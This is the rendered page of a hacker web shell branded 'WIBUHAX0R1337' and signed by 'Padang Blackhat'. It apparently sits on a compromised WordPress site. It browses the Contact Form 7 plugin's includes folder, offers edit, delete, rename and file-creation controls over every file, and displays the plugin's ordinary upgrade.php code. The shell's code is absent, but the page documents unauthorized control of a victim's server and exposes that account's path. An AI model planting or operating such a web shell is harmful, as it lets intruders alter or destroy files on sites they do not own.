-
WIBUHAX0R1337
-
/
home
/
coludnqa
/
public_html
/
wp-content
/
plugins
/
contact-form-7
/
includes
/
[ Home ]
Create Folder
Create File
Nama File / Folder
Size
Action
block-editor
--
NONE
css
--
NONE
js
--
NONE
.htaccess
0.231KB
Edit File
Delete File
Rename
capabilities.php
0.814KB
Edit File
Delete File
Rename
config-validator.php
19.483KB
Edit File
Delete File
Rename
contact-form-functions.php
6.6KB
Edit File
Delete File
Rename
contact-form-template.php
5.438KB
Edit File
Delete File
Rename
contact-form.php
28.371KB
Edit File
Delete File
Rename
controller.php
3.079KB
Edit File
Delete File
Rename
file.php
9.027KB
Edit File
Delete File
Rename
form-tag.php
8.659KB
Edit File
Delete File
Rename
form-tags-manager.php
8.72KB
Edit File
Delete File
Rename
formatting.php
13.731KB
Edit File
Delete File
Rename
functions.php
15.251KB
Edit File
Delete File
Rename
integration.php
7.634KB
Edit File
Delete File
Rename
l10n.php
2.085KB
Edit File
Delete File
Rename
mail.php
12.063KB
Edit File
Delete File
Rename
pipe.php
1.865KB
Edit File
Delete File
Rename
rest-api.php
11.498KB
Edit File
Delete File
Rename
shortcodes.php
2.63KB
Edit File
Delete File
Rename
special-mail-tags.php
6.055KB
Edit File
Delete File
Rename
submission.php
17.635KB
Edit File
Delete File
Rename
upgrade.php
2.049KB
Edit File
Delete File
Rename
validation-functions.php
4.331KB
Edit File
Delete File
Rename
validation.php
1.767KB
Edit File
Delete File
Rename
<?php add_action( 'wpcf7_upgrade', 'wpcf7_convert_to_cpt', 10, 2 ); function wpcf7_convert_to_cpt( $new_ver, $old_ver ) { global $wpdb; if ( ! version_compare( $old_ver, '3.0-dev', '<' ) ) { return; } $old_rows = array(); $table_name = $wpdb->prefix . "contact_form_7"; if ( $wpdb->get_var( "SHOW TABLES LIKE '$table_name'" ) ) { $old_rows = $wpdb->get_results( "SELECT * FROM $table_name" ); } elseif ( $opt = get_option( 'wpcf7' ) and ! empty( $opt['contact_forms'] ) ) { foreach ( (array) $opt['contact_forms'] as $key => $value ) { $old_rows[] = (object) array_merge( $value, array( 'cf7_unit_id' => $key ) ); } } foreach ( (array) $old_rows as $row ) { $q = "SELECT post_id FROM $wpdb->postmeta WHERE meta_key = '_old_cf7_unit_id'" . $wpdb->prepare( " AND meta_value = %d", $row->cf7_unit_id ); if ( $wpdb->get_var( $q ) ) { continue; } $postarr = array( 'post_type' => 'wpcf7_contact_form', 'post_status' => 'publish', 'post_title' => maybe_unserialize( $row->title ), ); $post_id = wp_insert_post( $postarr ); if ( $post_id ) { update_post_meta( $post_id, '_old_cf7_unit_id', $row->cf7_unit_id ); $metas = array( 'form', 'mail', 'mail_2', 'messages', 'additional_settings' ); foreach ( $metas as $meta ) { update_post_meta( $post_id, '_' . $meta, wpcf7_normalize_newline_deep( maybe_unserialize( $row->{$meta} ) ) ); } } } } add_action( 'wpcf7_upgrade', 'wpcf7_prepend_underscore', 10, 2 ); function wpcf7_prepend_underscore( $new_ver, $old_ver ) { if ( version_compare( $old_ver, '3.0-dev', '<' ) ) { return; } if ( ! version_compare( $old_ver, '3.3-dev', '<' ) ) { return; } $posts = WPCF7_ContactForm::find( array( 'post_status' => 'any', 'posts_per_page' => -1, ) ); foreach ( $posts as $post ) { $props = $post->get_properties(); foreach ( $props as $prop => $value ) { if ( metadata_exists( 'post', $post->id(), '_' . $prop ) ) { continue; } update_post_meta( $post->id(), '_' . $prop, $value ); delete_post_meta( $post->id(), $prop ); } } }
© 2022 - 2023 WIBUHAXOR V1 By Lutfifakee || Padang Blackhat